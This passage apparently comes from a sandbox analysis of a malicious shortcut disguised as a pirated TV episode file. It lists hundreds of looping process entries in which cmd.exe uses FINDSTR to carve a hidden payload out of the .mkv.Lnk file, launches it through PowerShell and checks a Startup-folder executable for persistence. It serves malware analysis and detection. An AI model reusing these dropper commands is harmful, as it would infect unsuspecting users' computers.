        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0526" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        339⤵
        
        PID:1928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        339⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6064
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        340⤵
        
        PID:6004
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0599" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        341⤵
        
        PID:972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        341⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1224
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        342⤵
        
        PID:3136
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0666" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        343⤵
        
        PID:1076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        343⤵
        
        PID:2888
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        344⤵
        
        PID:1264
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0735" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        345⤵
        
        PID:4012
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        345⤵
        
        PID:4888
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        346⤵
        
        PID:2456
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0816" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        347⤵
        
        PID:6080
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        347⤵
        
        PID:5484
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        348⤵
        
        PID:5728
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0895" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        349⤵
        
        PID:5456
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        349⤵
        
        PID:5512
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        350⤵
        
        PID:2444
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0962" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        351⤵
        
        PID:3792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        351⤵
        
        PID:1900
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        352⤵
        
        PID:5736
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0035" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        353⤵
        
        PID:3244
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        353⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2448
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        354⤵
        
        PID:1816
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0088" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        355⤵
        
        PID:1236
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        355⤵
        
        PID:2052
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        356⤵
        
        PID:692
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0157" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        357⤵
        
        PID:5256
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        357⤵
        
        PID:3384
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        358⤵
        
        PID:6088
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0235" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        359⤵
        
        PID:5472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        359⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5556
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        360⤵
        
        PID:5908
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0302" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        361⤵
        
        PID:3016
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        361⤵
        
        PID:5780
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        362⤵
        
        PID:5456
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0354" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        363⤵
        
        PID:5676
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        363⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1388
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        364⤵
        
        PID:5696
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0429" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        365⤵
        
        PID:5880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        365⤵
        
        PID:5752
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        366⤵
        
        PID:3680
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0513" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        367⤵
        
        PID:5816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        367⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2104
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        368⤵
        
        PID:2180
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0587" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        369⤵
        
        PID:2148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        369⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4976
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        370⤵
        
        PID:3360
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0649" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        371⤵
        
        PID:4552
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        371⤵
        
        PID:3932
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        372⤵
        
        PID:1340
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0721" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        373⤵
        
        PID:5092
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        373⤵
        
        PID:3964
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        374⤵
        
        PID:3308
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0790" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        375⤵
        
        PID:5928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        375⤵
        
        PID:6032
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        376⤵
        
        PID:1240
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0843" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        377⤵
        
        PID:440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        377⤵
        
        PID:3516
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        378⤵
        
        PID:2184
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0921" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        379⤵
        
        PID:2660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        379⤵
        
        PID:4692
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        380⤵
        
        PID:4104
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0987" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        381⤵
        
        PID:4624
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        381⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5288
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        382⤵
        
        PID:4100
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0048" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        383⤵
        
        PID:176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        383⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4940
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        384⤵
        
        PID:3908
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        385⤵
        
        PID:6128
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0112" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        385⤵
        
        PID:3668
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        385⤵
        
        PID:2884
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        386⤵
        
        PID:4004
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0185" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        387⤵
        
        PID:5820
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        387⤵
        
        PID:5928
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        388⤵
        
        PID:2680
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0252" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        389⤵
        
        PID:5896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        389⤵
        
        PID:2244
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        390⤵
        
        PID:2848
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0318" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        391⤵
        
        PID:4608
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        391⤵
        
        PID:5872
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        392⤵
        
        PID:4564
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0391" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        393⤵
        
        PID:3804
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        393⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3248
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        394⤵
        
        PID:4540
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0465" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        395⤵
        
        PID:5440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        395⤵
        
        PID:5032
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        396⤵
        
        PID:4812
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0538" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        397⤵
        
        PID:5096
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        397⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1072
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        398⤵
        
        PID:4984
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0602" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        399⤵
        
        PID:4180
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        399⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5232
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        400⤵
        
        PID:2800
        
        C:\Windows\system32\findstr.exe
        
